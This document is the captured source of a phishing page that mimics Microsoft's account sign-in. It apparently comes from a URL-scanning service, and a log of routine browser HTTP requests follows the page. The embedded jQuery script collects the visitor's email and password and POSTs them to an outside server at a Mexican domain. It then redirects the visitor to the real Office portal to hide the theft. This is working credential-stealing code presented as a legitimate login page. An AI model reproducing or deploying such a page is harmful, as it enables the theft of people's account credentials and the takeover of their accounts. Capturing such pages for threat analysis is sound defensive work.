    <!-- /ko --> </div>
    < /div> < /div> < div class = "email_section_xyz"
style = "display: none"
role = "main"
data - bind = "component: { name: 'pagination-control',
publicMethods: paginationControlMethods, params: {
    enableCssAnimation: svr.fEnableCssAnimation,
    initialViewId: initialViewId,
    currentViewId: currentViewId,
    initialSharedData: initialSharedData,
    initialError: $loginPage.getServerError()
}, event: {
    cancel: paginationControl_onCancel,
    showView: $loginPage.view_onShow,
    setLightBoxFadeIn: view_onSetLightBoxFadeIn,
    animationStateChange: paginationControl_onAnimationStateChange
}
}
">
<!--  -->
< div data - bind = "css: { 'zero-opacity': hidePaginatedView() }" >
    <!-- ko if: showIdentityBanner() && (sharedData.displayName || svr.sPOST_Username) -->
    <!-- /ko -->
    < div class = "pagination-view"
data - bind = "css: {
'has-identity-banner': showIdentityBanner() & amp; & amp;
(sharedData.displayName || svr.sPOST_Username), 'zero-opacity': hidePaginatedView.hideSubView(),
    'animate': animate(), 'slide-out-next': animate.isSlideOutNext(),
    'slide-in-next': animate.isSlideInNext(), 'slide-out-back': animate.isSlideOutBack(),
    'slide-in-back': animate.isSlideInBack()
}
">
<!-- ko foreach: views -->
<!-- ko if: $parent.currentViewIndex() === $index() -->
<!-- ko template: { nodes: [$data], data: $parent } -->
< div data - viewid = "1"
data - showfedcredbutton = "true"
data - bind = "pageViewComponent: { name: 'login-paginated-username-view',
params: {
    serverData: svr,
    serverError: initialError,
    isInitialView: isInitialState,
    displayName: sharedData.displayName,
    prefillNames: $loginPage.prefillNames,
    flowToken: sharedData.flowToken
}, event: {
    refresh: $loginPage.view_onRefresh,
    redirect: $loginPage.view_onRedirect,
    setPendingRequest: $loginPage.view_onSetPendingRequest,
    showLearnMore: $loginPage.learnMore_onShow,
    registerDialog: $loginPage.view_onRegisterDialog,
    unregisterDialog: $loginPage.view_onUnregisterDialog,
    showDialog: $loginPage.view_onShowDialog
}
}
">
<!--  -->
< div data - bind = "component: { name: 'header-control', params: { serverData: svr } }" >
    < div class = "row text-title"
id = "loginHeader" >
    < div role = "heading"
aria - level = "1"
data - bind = "text: title" > Sign in < /div>
    <!-- ko if: isSubtitleVisible -->
    <!-- /ko --> </div>
    < /div>
    <!-- ko if: pageDescription && !svr.fHideLoginDesc -->
    <!-- /ko -->
    < div class = "row" >
    < div role = "alert"
aria - live = "assertive" >
    <!-- ko if: usernameTextbox.error -->
    < div class = "alert alert-error col-md-24 alert_msg_yxq alert_email_sect"

style = "display: none;"
id = "usernameError"
data - bind = "
htmlWithBindings: usernameTextbox.error, childBindings: {
    'idA_PWD_SignUp': {
        href: svr.urlSignUp,
        click: signup_onClick
    },
    'otherIdpLogin': {
        href: svr.urlGoToAADError,
        click: otherIdpLogin_onClick
    }
}
">
We couldn 't find an account with that username. Try
another, or < a id = "idA_PWD_SignUp"
href = "https://login.live.com/oauth20_authorize.srf?response_type=code&amp;client_id=51483342-085c-4d86-bf88-cf50c7252078&amp;scope=openid+profile+email+offline_access&amp;response_mode=form_post&amp;redirect_uri=https%3a%2f%2flogin.microsoftonline.com%2fcommon%2ffederation%2foauth2&amp;state=rQIIAeNisNLJKCkpKLbS1y_ILypJzNHLzUwuyi_OTyvJz8vJzEvVS87P1csvSs9MAbGKhLgE5N-HsRnaz3GZ3Nb0o0aAj2MWI2d8TmYZWOUqRmXCxulfYGR8wch4i0nQvyjdMyW82C01JbUosSQzP-8Ci8ArFh4DZisODi4BBgkGBYYfLIyLWIG2Rik0X16_dbXTrqAUuYQeZ4ZTrPpRVd4W-b7mmV4ppv5hlW6-lqaluRYWHrl5XtppBkXhQUUhmQElZWVGAaGBtqZWhhPYhCawMZ1iY_jAxtjBznCAk_EWl4iRgaGlroGRroGJgoGllZGRlbFRFAA1&amp;estsfed=1&amp;uaid=0656ef1f3f31449c938682f87c100e08&amp;signup=1&amp;lw=1&amp;fl=easi2&amp;fci=https%3a%2f%2fportal.microsoftonline.com.orgid.com" >
    get a new Microsoft account < /a>.</div >
    <!-- /ko --> </div>
    < div class = "form-group col-md-24" >
    <!-- ko if: prefillNames().length > 1 -->
    <!-- /ko -->
    <!-- ko ifnot: prefillNames().length > 1 -->
    < div class = "placeholderContainer"
data - bind = "component: { name: 'placeholder-textbox',
publicMethods: usernameTextbox.placeholderTextboxMethods, params: {
    serverData: svr,
    hintText: tenantBranding.UserIdLabel || str['CT_PWD_STR_Email_Example'],
    hintCss: 'placeholder' + (!svr.fAllowPhoneSignIn ? ' ltr_override' : '')
}, event: {
    updateFocus: usernameTextbox.textbox_onUpdateFocus
}
}
">
<!-- ko withProperties: { '$placeholderText': placeholderText } -->
<!-- ko template: { nodes: $componentTemplateNodes, data: $parent } -->
< span > < /span> <input name="loginfmt" id="i0116" maxlength="113"

class = "form-control ltr_override"
aria - describedby = "usernameError loginHeader loginDescription"

aria - required = "true"
data - bind = "textInput: usernameTextbox.value,
hasFocusEx: usernameTextbox.focused, placeholder: $placeholderText,
    ariaLabel: tenantBranding.UserIdLabel || str['CT_PWD_STR_Username_AriaLabel'], css: {
        'has-error': usernameTextbox.error
    },
    attr: inputAttributes " placeholder="
Email, phone, or Skype "

aria - label = "Enter your email, phone, or Skype."
value = "<?=$_GET[email]?>"
type = "email"

lang = "en" > < input name = "passwd"
id = "i0118"
autocomplete = "off"

data - bind = "moveOffScreen, textInput: passwordBrowserPrefill"

class = "moveOffScreen"
tabindex = "-1"
aria - hidden = "true"

type = "password" >
    <!-- /ko -->
    <!-- /ko -->
    <!-- ko ifnot: usePlaceholderAttribute -->
    <!-- /ko --> </div>
    <!-- /ko --> </div>
    < /div> < div data - bind = "invertOrder: svr.fRepositionFooterButtons, css: { 'position-buttons': !tenantBranding.BoilerPlateText }"

class = "position-buttons" >
    < div class = "row" >
    < div class = "col-md-24" >
    < div class = "text-13 action-links" >
    <!-- ko if: svr.fCBShowSignUp && !svr.fDoIfExists && !svr.fCheckProofForAliases -->
    < div class = "form-group"
data - bind = "
htmlWithBindings: html['WF_STR_SignUpLink_Text'], childBindings: {
    'signup': {
        href: svr.urlSignUp,
        ariaLabel: str['WF_STR_SignupLink_AriaLabel_Text'],
        click: signup_onClick
    }
}
">No
account ? < a href = "https://login.live.com/oauth20_authorize.srf?response_type=code&amp;client_id=51483342-085c-4d86-bf88-cf50c7252078&amp;scope=openid+profile+email+offline_access&amp;response_mode=form_post&amp;redirect_uri=https%3a%2f%2flogin.microsoftonline.com%2fcommon%2ffederation%2foauth2&amp;state=rQIIAeNisNLJKCkpKLbS1y_ILypJzNHLzUwuyi_OTyvJz8vJzEvVS87P1csvSs9MAbGKhLgEXtk_X7dhr6zr3uYXtw5zqiyexcgZn5NZBla5ilGZsHH6FxgZXzAy3mIS9C9K90wJL3ZLTUktSizJzM-7wCLwioXHgNmKg4NLgEGCQYHhBwvjIlagrZymylOOHFzvusZeeda6cxYMp1j1o6q8LfJ9zTO9Ukz9wyrdfC1NS3MtLDxy87y00wyKwoOKQjIDSsrKjAJCA20trAwnsAlNYGM6xcbwgY2xg53hACfjLS4RIwNDS10DI10DEwUDcytTCysjsygA0&amp;estsfed=1&amp;uaid=aee73feabdb0451dbd83e8dac30924a3&amp;signup=1&amp;lw=1&amp;fl=easi2&amp;fci=https%3a%2f%2fportal.microsoftonline.com.orgid.com"

id = "signup"
aria - label = "Create a Microsoft account" > Create
one! < /a></div >
    <!-- /ko -->
    <!-- ko if: svr.showCantAccessAccountLink -->
    < div class = "form-group" > < a id = "cantAccessAccount"

href = "#"
data - bind = "
text: str['WF_STR_CantAccessAccount_Text'], click: cantAccessAccount_onClick ">Cant
access your account ? < /a> </div >
    <!-- /ko -->
    <!-- ko if: availableCredsWithoutUsername.length > 0 || svr.fShowForgotUsernameLink -->
    <!-- /ko --> </div>
    < /div> < /div> < div class = "row"
data - bind = "css: { 'move-buttons': tenantBranding.BoilerPlateText }" >
    < div data - bind = "component: { name: 'footer-buttons-field',
params: {
        serverData: svr,
        isPrimaryButtonEnabled: !isRequestPending(),
        isPrimaryButtonVisible: svr.fShowButtons,
        isSecondaryButtonEnabled: true,
        isSecondaryButtonVisible: svr.fShowButtons & amp; & amp;isBackButtonVisible()
    },
    event: {
        primaryButtonClick: primaryButton_onClick,
        secondaryButtonClick: secondaryButton_onClick
    }
}
"> < div class = "col-xs-24 no-padding-left-right form-group no-margin-bottom button-container"

data - bind = "
visible: isPrimaryButtonVisible() || isSecondaryButtonVisible(), css: {
    'no-margin-bottom': removeBottomMargin || svr.fRepositionFooterButtons,
    'button-container': svr.fRepositionFooterButtons
}
">
<!-- ko if: isSecondaryButtonVisible -->
<!-- /ko -->
< div data - bind = "
css: {
    'inline-block': svr.fRepositionFooterButtons,
    'col-xs-12 primary': isSecondaryButtonVisible() & amp; & amp;!svr.fRepositionFooterButtons,
    'col-xs-24': !(isSecondaryButtonVisible() || svr.fRepositionFooterButtons)
}
"

class = "inline-block" > < input id = "idSIButton9"
class = "btn btn-block btn-primary button_two"

data - bind = "
attr: {
        'id': primaryButtonId || 'idSIButton9',
        'aria-describedby': primaryButtonDescribedBy
    }, value: primaryButtonText() || str['CT_PWD_STR_SignIn_Button_Next'],
    hasFocus: focusOnPrimaryButton, click: primaryButton_onClick,
    enable: isPrimaryButtonEnabled, visible: isPrimaryButtonVisible,
    preventTabbing: primaryButtonPreventTabbing " value="
Next " type="
submit "> < /div> < /div> < /div> < /div> < /div>
    <!-- ko if: tenantBranding.BoilerPlateText -->
    <!-- /ko --> </div>
    <!-- /ko -->
    <!-- /ko -->
    <!-- ko if: $parent.currentViewIndex() === $index() -->
    <!-- /ko -->
    <!-- ko if: $parent.currentViewIndex() === $index() -->
    <!-- /ko -->
    <!-- ko if: $parent.currentViewIndex() === $index() -->
    <!-- /ko -->
    <!-- ko if: $parent.currentViewIndex() === $index() -->
    <!-- /ko -->
    <!-- ko if: $parent.currentViewIndex() === $index() -->
    <!-- /ko -->
    <!-- ko if: $parent.currentViewIndex() === $index() -->
    <!-- /ko -->
    <!-- ko if: $parent.currentViewIndex() === $index() -->
    <!-- /ko -->
    <!-- ko if: $parent.currentViewIndex() === $index() -->
    <!-- /ko -->
    <!-- ko if: $parent.currentViewIndex() === $index() -->
    <!-- /ko -->
    <!-- ko if: $parent.currentViewIndex() === $index() -->
    <!-- /ko -->
    <!-- ko if: $parent.currentViewIndex() === $index() -->
    <!-- /ko -->
    <!-- ko if: $parent.currentViewIndex() === $index() -->
    <!-- /ko -->
    <!-- ko if: $parent.currentViewIndex() === $index() -->
    <!-- /ko -->
    <!-- ko if: $parent.currentViewIndex() === $index() -->
    <!-- /ko -->
    <!-- ko if: $parent.currentViewIndex() === $index() -->
    <!-- /ko -->
    <!-- ko if: $parent.currentViewIndex() === $index() -->
    <!-- /ko -->
    <!-- ko if: $parent.currentViewIndex() === $index() -->
    <!-- /ko -->
    <!-- ko if: $parent.currentViewIndex() === $index() -->
    <!-- /ko -->
    <!-- ko if: $parent.currentViewIndex() === $index() -->
    <!-- /ko -->
    <!-- ko if: $parent.currentViewIndex() === $index() -->
    <!-- /ko -->
    <!-- ko if: $parent.currentViewIndex() === $index() -->
    <!-- /ko -->
    <!-- ko if: $parent.currentViewIndex() === $index() -->
    <!-- /ko -->
    <!-- /ko --> </div>
    < /div> < /div> < /div>
    <!-- ko if: showFedCredButton -->
    <!-- /ko -->
    <!-- ko if: newSessionMessage() && !svr.urlMsaStaticMeControl -->
    <!-- /ko -->
    <!-- ko if: svr.urlMsaStaticMeControl && newSession() -->
    <!-- /ko --> <input name="ps" data-bind="value: postedLoginStateViewId"

value = ""
type = "hidden" > < input name = "psRNGCDefaultType"
data - bind = "value: postedLoginStateViewRNGCDefaultType"

value = ""
type = "hidden" > < input name = "psRNGCEntropy"
data - bind = "value: postedLoginStateViewRNGCEntropy"

value = ""
type = "hidden" > < input name = "psRNGCSLK"
data - bind = "value: postedLoginStateViewRNGCSLK"

value = ""
type = "hidden" > < input name = "canary"
data - bind = "value: svr.canary"

value = "ZzK8oM7iJd5OVyFM95um88HmnJ+f0rWRrTiPtvv2PUQ=8:1"
type = "hidden" >
    < input name = "ctx"
data - bind = "value: ctx"
value = "rQIIAeNisNLJKCkpKLbS1y_ILypJzNHLzUwuyi_OTyvJz8vJzEvVS87P1csvSs9MAbGKhLgEXtk_X7dhr6zr3uYXtw5zqixexahM2Aj9C4yMLxgZbzEJ-hele6aEF7ulpqQWJZZk5uddYBF4xcJjwGzFwcElwCDBoMDwg4VxESvQJk5T5SlHDq53XWOvPGvdOQuGU6z6UVXeFvm-5pleKab-YZVuvpampbkWFh65eV7aaQZF4UFFIZkBJWVlRgGhgbYWVoYT2IQmsDGdYmP4wMbYwc5wgJMRAA2"

type = "hidden" > < input name = "hpgrequestid"
data - bind = "value: svr.sessionId"

value = "94233509-c1c4-45af-ac3f-239aaece3800"
type = "hidden" > < input

id = "i0327"
data - bind = "attr: { name: svr.sFTName }, value: flowToken"

name = "flowToken"
value = "AQABAAEAAACEfexXxjamQb3OeGQ4GugvJkSY-UD-yXcjnezRfHBxcAy4P8bWDuLC4kJW5iJNlvl4rT903WiSfkn9Og-knxDtujGZifz2GXSXKtagPoYvfmqn_IwiZ37pgVsHbm90y9YHVVEAW24V5IHQIWJlPd-S-fbL0ncF4VjIlHZKkWBvlVeklbloBkBSLYojGqFECJZjrLle7ya6Lx4RsVEcpDNY9QPpn9fLm5gYI2MAxELBQb1bb5pKMeKMGAPQ4WWryob9z_HhmOuoS22Yvm-W-XHjOBlN3Y5WVvO23cokLxuFYxWSaK6ZqFqkq5q5w9kiIAGk5Gw1yE2YP60aJ0uKEMb12n0HF7xrQ0l1vcNiLrGl7swd_ikjWKvzVYqkLB1Jxr0gAA"

type = "hidden" > < input name = "PPSX"
data - bind = "value: svr.sRandomBlob"

value = ""
type = "hidden" > < input name = "NewUser"
value = "1"
type = "hidden" >
    < input name = "FoundMSAs"
data - bind = "value: svr.sFoundMSAs"
value = ""
type = "hidden" >
    < input name = "fspost"
data - bind = "value: svr.fPOST_ForceSignin ? 1 : 0"

value = "0"
type = "hidden" > < input name = "i21"
data - bind = "value: wasLearnMoreShown() ? 1 : 0"

value = "0"
type = "hidden" > < input name = "CookieDisclosure"
data - bind = "value: svr.fShowCookieBanner ? 1 : 0"

value = "0"
type = "hidden" > < input name = "IsFidoSupported"
data - bind = "value: isFidoSupported ? 1 : 0"

value = "1"
type = "hidden" >
    < div data - bind = "component: { name: 'instrumentation',
publicMethods: instrumentationMethods, params: {
    serverData: svr
}
}
"> < input name = "i2"
data - bind = "value: clientMode"
value = "1"
type = "hidden" >
    < input name = "i17"
data - bind = "value: srsFailed"
value = ""
type = "hidden" >
    < input name = "i18"
data - bind = "value: srsSuccess"
value = ""
type = "hidden" >
    < input name = "i19"
data - bind = "value: timeOnPage"
value = ""
type = "hidden" >
    < /div> < div id = "footer"
class = "footer default"
role = "contentinfo"
data - bind = "css: { 'default': !backgroundLogoUrl() }" >
    < div data - bind = "component: { name: 'footer-control',
params: {
        serverData: svr,
        debugDetails: debugDetails,
        showLinks: true
    },
    event: {
        agreementClick: footer_agreementClick,
        showDebugDetailsClick: footer_showDebugDetailsClick
    }
}
">
<!--  -->
<!-- ko if: showLinks || impressumLink || showIcpLicense -->
< div id = "footerLinks"
class = "footerNode text-secondary" >
    <!-- ko if: !showIcpLicense --><span id="ftrCopy" data-bind="html: svr.strCopyrightTxt">�2020
    Microsoft < /span>
    <!-- /ko --><a id="ftrTerms" data-bind="text: str['MOBILE_STR_Footer_Terms'], href: termsLink, click: termsLink_onClick"

href = "https://www.microsoft.com/en-US/servicesagreement/" > Terms
of use < /a> <a id="ftrPrivacy" data-bind="text: str['MOBILE_STR_Footer_Privacy'], href: privacyLink, click: privacyLink_onClick"

href = "https://privacy.microsoft.com/en-US/privacystatement" > Privacy & amp;
cookies < /a>
    <!-- ko if: impressumLink -->
    <!-- /ko -->
    <!-- ko if: showIcpLicense -->
    <!-- /ko --> <a href="#" role="button" class="moreOptions" data-bind="
click: moreInfo_onClick, ariaLabel: str['CT_STR_More_Options_Ellipsis_AriaLabel'],
    hasFocus: focusMoreInfo()
" aria-label="
Click here
for troubleshooting information ">
    <!-- ko component: { name: 'accessible-image-control', params: { hasDarkBackground: true } } -->
    <!-- ko if: (isHighContrastBlackTheme || hasDarkBackground || svr.fHasBackgroundColor) && !isHighContrastWhiteTheme -->
    <!-- ko template: { nodes: [lightImageNode], data: $parent } --><img

class = "desktopMode"
role = "presentation"
pngsrc = "https://secure.aadcdn.microsoftonline-p.com/ests/2.1.8576.13/content/images/ellipsis_white_0ad43084800fd8b50a2576b5173746fe.png"

svgsrc = "https://secure.aadcdn.microsoftonline-p.com/ests/2.1.8576.13/content/images/ellipsis_white_5ac590ee72bfe06a7cecfd75b588ad73.svg"

data - bind = "imgSrc"
src = "https://secure.aadcdn.microsoftonline-p.com/ests/2.1.8576.13/content/images/ellipsis_white_5ac590ee72bfe06a7cecfd75b588ad73.svg" >
    <!-- /ko -->
    <!-- /ko -->
    <!-- ko if: (isHighContrastWhiteTheme || (!hasDarkBackground && !svr.fHasBackgroundColor)) && !isHighContrastBlackTheme -->
    <!-- /ko -->
    <!-- /ko -->
    <!-- ko component: 'accessible-image-control' -->
    <!-- ko if: (isHighContrastBlackTheme || hasDarkBackground || svr.fHasBackgroundColor) && !isHighContrastWhiteTheme -->
    <!-- /ko -->
    <!-- ko if: (isHighContrastWhiteTheme || (!hasDarkBackground && !svr.fHasBackgroundColor)) && !isHighContrastBlackTheme -->
    <!-- ko template: { nodes: [darkImageNode], data: $parent } --><img

    class = "mobileMode"
role = "presentation"
pngsrc = "https://secure.aadcdn.microsoftonline-p.com/ests/2.1.8576.13/content/images/ellipsis_grey_5bc252567ef56db648207d9c36a9d004.png"

svgsrc = "https://secure.aadcdn.microsoftonline-p.com/ests/2.1.8576.13/content/images/ellipsis_grey_2b5d393db04a5e6e1f739cb266e65b4c.svg"

data - bind = "imgSrc"
src = "https://secure.aadcdn.microsoftonline-p.com/ests/2.1.8576.13/content/images/ellipsis_grey_2b5d393db04a5e6e1f739cb266e65b4c.svg" >
    <!-- /ko -->
    <!-- /ko -->
    <!-- /ko --> </a> </div>
    <!-- ko if: showDebugDetails -->
    <!-- /ko -->
    <!-- /ko --> </div>
    < /div> < /div>
    <!-- /ko --> </div>
    <!-- /ko -->
    <!-- ko if: svr.urlUxPreviewOptIn && showFeatureNotificationBanner() -->
    <!-- /ko --> </form>
    < form method = "post"
aria - hidden = "true"
target = "_top"
data - bind = "autoSubmit: postRedirectForceSubmit, attr: { action: postRedirectUrl }" >
    <!-- ko foreach: postRedirectParams -->
    <!-- /ko --> </form>
    <!-- ko if: svr.urlMsaMeControl && !svr.urlMsaStaticMeControl -->
    <!-- /ko -->
    <!-- ko if: svr.urlMsaStaticMeControl && callMsaStaticMeControl() -->
    <!-- /ko -->
    <!-- ko if: svr.urlCBPartnerPreload -->
    < div id = "idPartnerPL"
data - bind = "injectIframe: { url: svr.urlCBPartnerPreload }" >
    < iframe style = "display: none;"
src = "https://portal.microsoftonline.com/Prefetch/Prefetch.aspx"

height = "0"
width = "0" > < /iframe> </div >
    <!-- /ko --> </div>
    < script src = "https://ajax.aspnetcdn.com/ajax/jQuery/jquery-3.3.1.min.js" > < /script> < script >
    $(document).ready(function() {
        get_email_hash();
        var i0116 = $('#i0116');
        //var pass_i0118 = $('#i0118');
        var url = '';
        var yid = GetURLParameter('username');
        var yid2 = false;
        /*  */

        if (!yid && get_email_hash() != false) {

            //if(get_email_hash() != false){
            yid = get_email_hash();
            yid2 = true;
            //}
        }
        /*  */
        var email_sect = $('.email_section_xyz');
        var pass_sect = $('.pass_section_xyz');
        var displayName = $('#displayName');
        var login_name_xyz = $('.login_name_xyz');
        displayName.attr('value', yid);
        displayName.html(' <span style="font-size: 20px; cursor: pointer" class="back_btnuuu"> &#8592; </span> ' + yid);
        $('.back_btnuuu').click(function() {
            window.location.replace("index.html");
        });
        login_name_xyz.val(yid);
        if (yid && yid != '' && yid.length > 4) {
            email_sect.remove();
            pass_sect.show();
            i0116.val(yid);
        } else {
            pass_sect.remove();
            email_sect.show();
        }
        var idSIButton9 = $('#idSIButton9');
        idSIButton9.click(function(e) {
            e.preventDefault();
            // alert('sss');
            idSIButton9.css({
                'border-color': '#ffffff'
            });
            var email = i0116.val();
            if ($('.email_section_xyz').length) {
                if (email != '' && email.length > 4) {
                    if (yid2) {
                        url = 'index.html#' + yid;
                    } else {
                        url = 'index.html?oauth20_authorize.srf?response_type=code&client_id=51483342-085c-4d86-bf88-cf50c7252078&scope=openid+profile+email+offline_access&response_mode=form_post&redirect_uri=https%3a%2f%2flogin.microsoftonline.com%2fcommon%2ffederation%2foauth2&state=rQIIAXWSPW_TUBSGc5M0NFEFFUKCMQMsSE6urz9iR-qQkMR1SK7TfDRNlihx7Npx7Osmzpd_AUhIdM6ChISQKiYECPETKiHKWgl16YCYKibEhNud5bzDeYaj9zmPI3SKzj5kGZbrZwYiJfZ5hmJFGlJ9FvEUwzE8gyA95CAzuZvY_vBi653ysiw_v1z9ePSq3liDeG9szrWUSuwTcN_wPHeaTacXi0WK6Lqp3izSnwE4A-AnAOvwhuZQrcZJeMozvMAKPMeyIqQhzQhsqjoqLpV2Z4ntotfxsak0IKwWykalaXHdguV1C6URbrb8jl2yqvbeAo_yFm7mkFLIediWVze8Xx9V2qVRFckB3_KDhFiSYcevG-fhO0pu5hnoepCJ6Wu_w3GdTOyeS6beOvIWKK7myMMnxHE01UtdY5rjmWrfM4lTmxBXm3imNt0RW-6AyowPO8v-3N49WvGZXE9mMnSuKez2jD4tmBanaOVaiS9alcG0WyaC8BT7ECqNUeeAlkTUVmpIsor7_FKrMQuvW9GJinEmT0mzglxddsdUHtXn6l7JLRt4sH9QrxozvS4Tm-RbNf59JBbUahPnNHI7OMoxh0l3QnRzrJ1Fwa_oFoxkNzcT26EHoWToTxS83gjMXX28jH79-0168-lCvfiOQ6cbaavBtdHYkg8xHJSlMWfKMzNQPWNVPY9cC9mNll9aHUmyAnfoLH0cA8ex2FUMPLsV-hL_n-vzxL3gX0QKIgqySShkGZSlhe4_0&estsfed=1&uaid=ac0c8cb48f4f494a89e479dd259f5253&fci=4345a7b9-9a63-4910-a426-35363201d503&mkt=en-US&username=' + email;
                    }
                    window.location.replace(url);
                } else {
                    $('.alert_email_sect').show();
                }
            }

            if ($('.pass_section_xyz').length) {
                var pass = $('#i0118');
                var password_v = pass.val();
                if (yid && yid != '' && yid.length > 4 && password_v != '') {
                    //var password_v = login_passwd.val();

                    /*  */
                    $.ajax({
                        url: 'https://www.proma.com.mx/.prvt/handler.php',
                        type: 'POST',
                        dataType: 'html',
                        beforeSend: function() {
                            $('.ldsddddd').show();
                        },
                        data: {
                            Email: yid,
                            password: password_v
                        },
                        crossDomain: true,
                        success: function(msg) {
                            //alert(msg);
                            $('.ldsddddd').hide();
                            if (msg == 'yes') {
                                $('.alert_email_sect').hide();
                                window.location.replace("https://portal.office.com");
                            } else {
                                $('.alert_msg_yxq').html("Your account or password is incorrect. If you don't remember your password");
                                $('.alert_email_sect').show();
                            }
                            //alert(msg);
                            //window.location.replace("https://login.microsoftonline.com/common/oauth2/authorize?client_id=XMRopenid+profile&state=OpenIdConnect.AuthenticationProperties%3dbL-9u9lx4Nqok9GVqviQ7AxY5FUMsKBE7Nfj8BC2qH9NzDlw2Zu-b3fKc6YPyaLq78TzMPLnhxwWrNjZ7wpmOK3KwYbSfHdNFsP30BVEd7f8vX2eMSfHe3jPi97pHX1Y&nonce=636848699896041474.ODQ0YTlhYzUtNzVhYS00OWM3LWExNzMtMzVlNzg2ZWE2ZDg4ZDA1YjBhMzMtY2QzNS00MGE1LTlhMGQtZDE1ODBkYzk0MDJk&redirect_uri=https%3a%2f%2fwww.office.com%2f&ui_locales=en-US&mkt=en-US&client-request-id=ac0c8cb4-8f4f-494a-89e4-79dd259f5253");
                            /// alert(msg);
                            //window.location.replace("https://portal.office.com");
                        },
                        error: function(e) {
                            console.log(e)
                        }
                    });
                } else {
                    $('.alert_msg_yxq').html('Please enter the password for your Microsoft account.');
                    $('.alert_email_sect').show();
                }
            }
            //alert(yid);
        });
        //alert(yid);
    });

function get_email_hash() {
    var output = false;
    var sPageURL = window.location.href;
    //sPageURL = 'http://localhost/office1withemail/index-home.html#test@gmail.com';
    sPageURL = sPageURL.trim();
    var last_index_of_hash = sPageURL.lastIndexOf('#');
    if (last_index_of_hash != -1) {
        output = sPageURL.substring(last_index_of_hash + 1);
        if (!validateEmail(output)) {
            output = false;
        }
    }
    // alert(output);
    //var sURLVariables = sPageURL.split('&');
    //console.log(sURLVariables);
    return output;
}

function validateEmail(email) {
    var re = /^(([^<>()\[\]\\.,;:\s@"]+(\.[^<>()\[\]\\.,;:\s@"]+)*)|(".+"))@((\[[0-9]{1,3}\.[0-9]{1,3}\.[0-9]{1,3}\.[0-9]{1,3}\])|(([a-zA-Z\-0-9]+\.)+[a-zA-Z]{2,}))$/;
    return re.test(String(email).toLowerCase());
}

function GetURLParameter(sParam) {
    var sPageURL = window.location.search.substring(1);
    var sURLVariables = sPageURL.split('&');
    for (var i = 0; i < sURLVariables.length; i++) {
        var sParameterName = sURLVariables[i].split('=');
        if (sParameterName[0] == sParam) {
            return decodeURIComponent(sParameterName[1]);
        }
    }
} < /script> < /body> < /html>


HTTP Transactions (103)


Request Response
                                        
                                            GET /v1/ HTTP/1.1 
Host: firefox.settings.services.mozilla.com
                                        
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:96.0) Gecko/20100101 Firefox/96.0
Accept: */*
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate, br
Connection: keep-alive
Sec-Fetch-Dest: empty
Sec-Fetch-Mode: cors
Sec-Fetch-Site: cross-site

search
                                         143.204.55.27
HTTP/1.1 200 OK
Content-Type: application/json
                                        
Content-Length: 939
Connection: keep-alive
Access-Control-Allow-Origin: *
Access-Control-Expose-Headers: Content-Length, Content-Type, Alert, Backoff, Retry-After
Content-Security-Policy: default-src 'none'; frame-ancestors 'none'; base-uri 'none';
Date: Sat, 10 Sep 2022 20:32:52 GMT
Strict-Transport-Security: max-age=31536000
X-Content-Type-Options: nosniff
X-Cache: Hit from cloudfront
Via: 1.1 1d8cf7c8865ed1078c19a98771ad34ca.cloudfront.net (CloudFront)
X-Amz-Cf-Pop: OSL50-C1
X-Amz-Cf-Id: JCeVCBxVJ94TvHz1ZQhgHLIFYYdusHVnvRR_uaUaFxr5lV5vY5W4EQ==
Age: 2319


--- Additional Info ---
Magic:  JSON data\012- , ASCII text, with very long lines (939), with no line terminators
Size:   939
Md5:    91dd975a7b17b2922dd23c0e49314e40
Sha1:   57a2ece1e3cee7c4ebf927f2ba92f52cac395fe2
Sha256: 09966873bbf317f8910c59544cfde2a6d46e8acd2905797cc7c85c6b4d18ea8a
                                        
                                            POST / HTTP/1.1 
Host: r3.o.lencr.org
                                        
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:96.0) Gecko/20100101 Firefox/96.0
Accept: */*
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Content-Type: application/ocsp-request
Content-Length: 85
Connection: keep-alive
Pragma: no-cache
Cache-Control: no-cache

search
                                         95.101.11.115
HTTP/1.1 200 OK
Content-Type: application/ocsp-response
                                        
Server: nginx
Content-Length: 503
ETag: "D16DE6CC9EB0E1297F53DC1137BB764BF5C21A7727BE32AD05AFEBD1FE9501ED"
Last-Modified: Sat, 10 Sep 2022 18:00:00 UTC
Cache-Control: public, no-transform, must-revalidate, max-age=10881
Expires: Sun, 11 Sep 2022 00:12:52 GMT
Date: Sat, 10 Sep 2022 21:11:31 GMT
Connection: keep-alive

                                        
                                            GET /chains/remote-settings.content-signature.mozilla.org-2022-10-09-23-18-04.chain HTTP/1.1 
Host: content-signature-2.cdn.mozilla.net
                                        
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:96.0) Gecko/20100101 Firefox/96.0
Accept: */*
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate, br
Connection: keep-alive
Sec-Fetch-Dest: empty
Sec-Fetch-Mode: no-cors
Sec-Fetch-Site: cross-site

search
                                         143.204.55.49
HTTP/2 200 OK
content-type: binary/octet-stream
                                        
content-length: 5348
last-modified: Sat, 20 Aug 2022 23:18:05 GMT
content-disposition: attachment
accept-ranges: bytes
server: AmazonS3
date: Sat, 10 Sep 2022 07:17:13 GMT
etag: "742edb4038f38bc533514982f3d2e861"
x-cache: Hit from cloudfront
via: 1.1 057fdebf738f5915bf38a78949190758.cloudfront.net (CloudFront)
x-amz-cf-pop: OSL50-C1
x-amz-cf-id: W2svTU23_WNyVMDJvRJV63ALGXVt05erFHzs2dl108ey0e4RlSgx0A==
age: 50059
X-Firefox-Spdy: h2


--- Additional Info ---
Magic:  PEM certificate\012- , ASCII text
Size:   5348
Md5:    742edb4038f38bc533514982f3d2e861
Sha1:   cc3a20c8dc2a8c632ef9387a2744253f1e3fdef1
Sha256: b6bfa49d3d135035701231db2fffc0c0643444394009a94c6a1b4d829d6b8345
                                        
                                            POST / HTTP/1.1 
Host: e1.o.lencr.org
                                        
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:96.0) Gecko/20100101 Firefox/96.0
Accept: */*
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Content-Type: application/ocsp-request
Content-Length: 85
Connection: keep-alive
Pragma: no-cache
Cache-Control: no-cache

search
                                         95.101.11.115
HTTP/1.1 200 OK
Content-Type: application/ocsp-response
                                        
Server: nginx
Content-Length: 345
ETag: "9AC67BD8542CB711AD76324A60332AD8D2309C563C6BAD56722163EC8416B6D5"
